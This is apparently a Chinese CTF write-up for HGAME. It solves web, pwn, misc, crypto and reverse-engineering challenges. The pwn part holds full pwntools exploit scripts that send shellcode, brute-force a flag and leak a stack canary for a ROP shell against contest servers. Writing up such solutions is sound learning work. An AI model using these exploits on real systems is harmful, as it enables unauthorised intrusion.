web

谁吃了我的flag

给了提示 vim ,于是想到 .swp 备份文件

访问:

http://118.25.111.31:10086/.index.html.swp

下载到备份文件后,直接用 notepad++ 打开,划到最后就可以看到 flag

也可以用 vim 命令恢复出源文件再提交 flag

vim -r .index.html.swp

换头大作战

根据题目名字猜想可能是该写 HTTP 头来绕过一些限制或者满足一些条件。

  1. 第一步要求用 POST 方法提交

  1. 第二步是改 XXF 头,这里用 bp 改了,127.0.0.1


  1. 第三步改 UA,这里需要多试几次
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Waterfox/50.0
  1. 第四步 the requests should referer from www.bilibili.com

即加上 Referer 字段,值为 www.bilibili.com


very easy web

简单的代码审计题目

<?php
error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
  die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
  echo $flag;
}
highlight_file(__FILE__);
?>

仔细看题目,没有办法直接从 strpos 函数的使用不当下手
参考:https://www.freebuf.com/column/182124.html

也没有办法从弱类型下手,因为这里是 !==、=== ,而不是 !=、==

看到后面有一个 urldecode 函数,所以构造下 "vidar" 的 url 编码

http://120.78.184.111:8080/week1/very_ez/index.php?id=%76%69%64%61%72

但是会发现没用的,原因是在你输入的时候,浏览器帮你的 url 先解码了一遍。所以后面的 urldecode 函数就没用上,所以这里需要二次 urlencode。

http://120.78.184.111:8080/week1/very_ez/index.php?=%25%37%36%25%36%39%25%36%34%25%36%31%25%37%32

can u find me?

右键源代码发现 f12.php,访问提示需要 POST 一个 password 字段

在返回包头里有 password 的值,给他提交上

提交后访问 iamflag.php 得到 flag

pwn

babysc

checksec 查看保护,保护全无,可以直接往栈上填充数据

这题没办法用 IDA 直接 f5 ,只能在 IDA 或者 gdb 动态调试一步步跟

程序大概的逻辑是先调用 read 函数接受 0x50 的输入,再将输入的逐个字节与1、2、3...进行异或

最后会调用 call rdx,rdx 的位置来自 buf ,rax 作为指针在 buf 中赋值 [rbp+rax+buf],所以这里就需要我们输入填充异或后的 shellcode 到 buf 中

在这里找一个 shellcode 的十六进制编码

http://shell-storm.org/shellcode/files/shellcode-866.php?tdsourcetag=s_pctim_aiomsg

用脚本对 shellcode 进行逐个异或,然后 send 即可

from pwn import *

#p = process('babysc')

p = remote('118.24.3.214',10000)

a = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
b = ""
for i in range(1,len(a)+1):
        b+=chr(i^ord(a[i-1]))

pause()
p.sendline(b)

p.interactive()

aaaaaaaaaa

丢 IDA,在 main 函数中 f5,逻辑很简单:

需要你只能输入 a ,只要你输入的 a 的数量大于 99,就 break 出 while 循环,执行到后面的 system 函数。

本地测试直接 getshell,远程也是一样的, nc 连上 getshell

薯片拯救世界1

IDA 打开 main 函数,程序的逻辑很简单,先打开服务器下的 flag ,输出内容到 buf 缓冲区中,接着接受输入,如果输入的和 buf 的内容相等就会输出正确的信息。

问题出在 strlen 和 strncmp 函数的配合使用,因为 strlen 函数是以 \x00 截断的,如果我们手动输入的字符串后面加上 \x00 的话,就会满足 strncmp 函数的判断

所以我们可以一步步的爆破出 flag。注意在爆破成功一位出来时,需要重新连接远程服务器

利用脚本

脚本写的还是存在一些问题,但是可以出结果就行了。最后手动加上 "}"

from pwn import *
def init():

        p = remote('118.24.3.214',10001)

        for i in range(10):
                p.sendline('1')
                if '......' in p.recvline():
                        break
                p.recvline()
        p.recvline()
        return p

flaggggggg = "hga"

for x in range(33):
        p = init()
        for i in range(10,255):

                p.send(flaggggggg + chr(i) +'\x00')
                res = p.recvline()
                info(res)
                if '......' not in res:
                        success(chr(i))
                        flaggggggg += chr(i)
                        success('flag is : %s'%flaggggggg)
                        break
                p.recvline()

p.interactive()

hgame{Ch1p_1s_Awakking!}

Steins;Gate

这题利用起来还是挺麻烦的。checksec 检查有 canary 保护。

IDA 打开 main 函数,发现有五个函数,第二个和第五个一样

并且在左边的函数列表中发现有 system 函数。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_400AF1();
  sub_400A91(sub_4008F6);
  sub_400A91(sub_400958);
  sub_400A91(sub_400A00);
  sub_400A91(sub_4008F6);
  return 0LL;
}

第一个函数中初始化操作,读取一个随机数,接受一个输入到 bss 段,这里我们先填入 "/bin/sh",方便后面调用 system 函数

  1. 第二个函数是一个栈溢出,只要满足 v2 = 0x33就行

直接构造

'a' * 0x30 + '\x33\x23'
  1. 第三个函数是一个格式化字符串和栈溢出,我们通过格式化读取出 v0 的值,再通过计算溢出覆盖 v4 的指

gdb 本地调试可以看到 v0 的值就在输入的格式化字符串的边上,也就是输入 "%7$p"(64 位的程序是从 7 偏移开始才能读出栈的数据的,不注意的话这是个坑点)

  1. 第四个函数只有格式化字符串,而且要满足 v1 = 0x6666,这里的格式化字符串其实是让你读取 canary 的,v1 的值只能通过上一个函数的溢出来修改

f"*0x1c + p32(0x6666) + "f" * 0x10 +p32(v4)
  1. 泄露出 canary 之后,最后一步函数溢出的再结合 rop 就可以调用 system 函数来 getshell

最后的利用脚本:

from pwn import *
#context.log_level = "debug"
p = remote('118.24.3.214', 10002)
p.recvuntil("ID:")
d = 0x602040
p.sendline("/bin/sh\x00")
p.recvuntil("world.\n")
payload = "f"*0x30
payload += "\x33\x23"
p.send(payload)
p.recvuntil("man.\n")
p.send("%7$p")
i = int(p.recv(numb=10),16) + 0x1234
p.recvuntil("it?\n")
p.send("f"*0x1c + p32(0x6666) + "f" * 0x10 +p32(i))
p.recvuntil("debts.\n")
p.send("%11$p")
canary = int(p.recv(numb=18),16)
success("canary ===> " + hex(canary))
p.recvuntil("world.\n")
payload = 0x30 * "a"
payload += "\x33\x23"
payload = payload.ljust(0x38,"\x00")
payload += p64(canary)
payload += p64(0x00)
payload += p64(0x400c73)
payload += p64(d)
payload += p64(0x400A89)
p.send(payload)
p.interactive()

MISC

Hidden Image in LSB

直接把图片放到 stegslove 里,向右多点几次就出来

hgame{LSB_is_easy_for_u}

打字机

提示给了谷歌识图,那么就识图一波,发现这是一个漫画中出现的打字机。

然而这个图片出给的只有大写以及数字的对应关系,没有小写字母对应的关系,导致 flag.png 中的一些字符无法一一对应

最后在这里找到了对应关系,相当于是把小写字母的对应关系破译出来了。
https://www.bilibili.com/read/cv142910/

小写字母的映射表:

最后把三个图对应起来得到 flag

hgame{My_vi0let_tyPewRiter}

Broken Chest

zip 文件修复,用 winhex 打开,把开头的 4F 改成 50

打开时候,发现了 zip 文件的注释 "S0mETh1ng_U5efuL",这个也就是压缩包的密码

输入密码打开文件,得到 flag

Try

用 wireshark 打开数据包,过滤出 HTTP 报文,发现有两个文件可以提取出来。一个是 png,另外一个 zip

在相应的返回包上右键 -> 导出分组字节流

导出之后,发现图片没什么用,但是 zip 包还可以提取

解压后的 password.txt 文件打开之后,后面的字符用 * 号打码了,于是想到了掩码爆破(直觉猜测应该都是数字

使用 Ziperello 打开压缩包文件 open-it.zip

破解模式选择基于模块的破解(也就是掩码爆破),按照左边的密码模板填完后,下一步

很快就会破解出来压缩包的密码

用破解出来用密码解压出压缩包,发现下面有张图片

放到 winhex 中,发现图片里面还有一个 docx 文件。

用 foremost 提取出来是个压缩包,解压发现需要密码,尝试伪加密的解密(在 winhex 中直接改控制位就行了)

成功解密出来 docx 文件。

打开发现是空白,然后在 word 中把显示隐藏文字的选项打开,就可以看到 flag

CRYPTO

Mix

首先摩斯密码解密:
http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx

解码出来发现是十六进制,在这里继续解码

https://wishingstarmoye.com/tools/ascii

观察特征,拿到这样的字符串一般就是凯撒和栅栏的混合加密

这里面没有 hgame 这几个字符,所以需要先用凯撒转换一下。
https://wishingstarmoye.com/ctf/caesar

找到有 hgame 字符的字符串,如下

使用栅栏解密,2 个一栏就可以解除 flag

hgame{E4sY_cRypt0}

base 全家

三次 base64 解码,三次 base16(相当于十六进制的 ascii 码转字符),base32 两次即可解出。(字符串太长了就不贴出来了。。。)

RE

HelloRe

IDA 进去 main 函数直接 f5 就可以看到 flag,不多说。

r & xor

IDA 打开程序,在 v31 到 v35 处按下 r 会出现字符串,但是这个 flag 提交显然不对,因为后面有这个字符串异或的操作

s[i] != (v6[i] ^ *(&v31 + i))

也就是将 fake flag 与一系列的变量异或,得到的就是 flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  __int64 v4; // rsi@9
  signed int i; // [sp+8h] [bp-138h]@3
  int v6[6]; // [sp+10h] [bp-130h]@1
  int v7; // [sp+28h] [bp-118h]@1
  int v8; // [sp+30h] [bp-110h]@1
  int v9; // [sp+38h] [bp-108h]@1
  int v10; // [sp+3Ch] [bp-104h]@1
  int v11; // [sp+40h] [bp-100h]@1
  int v12; // [sp+44h] [bp-FCh]@1
  int v13; // [sp+48h] [bp-F8h]@1
  int v14; // [sp+4Ch] [bp-F4h]@1
  int v15; // [sp+50h] [bp-F0h]@1
  int v16; // [sp+54h] [bp-ECh]@1
  int v17; // [sp+5Ch] [bp-E4h]@1
  int v18; // [sp+60h] [bp-E0h]@1
  int v19; // [sp+64h] [bp-DCh]@1
  int v20; // [sp+68h] [bp-D8h]@1
  int v21; // [sp+6Ch] [bp-D4h]@1
  int v22; // [sp+70h] [bp-D0h]@1
  int v23; // [sp+74h] [bp-CCh]@1
  int v24; // [sp+78h] [bp-C8h]@1
  int v25; // [sp+80h] [bp-C0h]@1
  int v26; // [sp+84h] [bp-BCh]@1
  int v27; // [sp+88h] [bp-B8h]@1
  int v28; // [sp+8Ch] [bp-B4h]@1
  int v29; // [sp+90h] [bp-B0h]@1
  int v30; // [sp+94h] [bp-ACh]@1
  __int64 v31; // [sp+A0h] [bp-A0h]@1
  __int64 v32; // [sp+A8h] [bp-98h]@1
  __int64 v33; // [sp+B0h] [bp-90h]@1
  __int64 v34; // [sp+B8h] [bp-88h]@1
  int v35; // [sp+C0h] [bp-80h]@1
  char s[104]; // [sp+D0h] [bp-70h]@1
  __int64 v37; // [sp+138h] [bp-8h]@1

  v37 = *MK_FP(__FS__, 40LL);
  v31 = '0Y{emagh';
  v32 = '_3byam_u';
  v33 = '1ht_deen';
  v34 = '!!!en0_s';
  v35 = '}!!';
  memset(v6, 0, 0x90uLL);        //应该是 memset(v6, 0, 6);
  v7 = 1;
  v8 = 7;
  v9 = 92;
  v10 = 18;
  v11 = 38;
  v12 = 11;
  v13 = 93;
  v14 = 43;
  v15 = 11;
  v16 = 23;
  v17 = 23;
  v18 = 43;
  v19 = 69;
  v20 = 6;
  v21 = 86;
  v22 = 44;
  v23 = 54;
  v24 = 67;
  v25 = 66;
  v26 = 85;
  v27 = 126;
  v28 = 72;
  v29 = 85;
  v30 = 30;
  puts("Input the flag:");
  __isoc99_scanf("%s", s);
  if ( strlen(s) == 35 )
  {
    for ( i = 0; i < 35; ++i )
    {
      if ( s[i] != (v6[i] ^ *(&v31 + i)) )
      {
        puts("Wrong flag , try again later!");
        result = 0;
        goto LABEL_9;
      }
    }
    puts("You are right! Congratulations!!");
    result = 0;
  }
  else
  {
    puts("Wrong flag , try again later!");
    result = 0;
  }
LABEL_9:
  v4 = *MK_FP(__FS__, 40LL) ^ v37;
  return result;
}

最后将这个 fake flag 与这些变量逐个异或即可

l = [0,0,0,0,0,0,1,7,92,18,38,11,93,43,11,23,23,43,69,6,86,44,54,67,66,85,126,72,85,30]

v31 = '0Y{emagh';
v32 = '_3byam_u';
v33 = '1ht_deen';
v34 = '!!!en0_s';
v35 = '}!!';
f = v31[::-1]+v32[::-1]+v33[::-1]+v34[::-1]+v35[::-1]

flag = ''
for i in range(len(l)):
    flag += chr(ord(f[i])^l[i])
print flag

这道题也可以使用 angr 来跑出 flag,具体的步骤就不多说了。

Pro的Python教室(一)

将中间的字符串 base64 解码拼接三段就可以得到 flag

hgame{Here_1s_3asy_Pyth0n}

源链接

Hacking more

...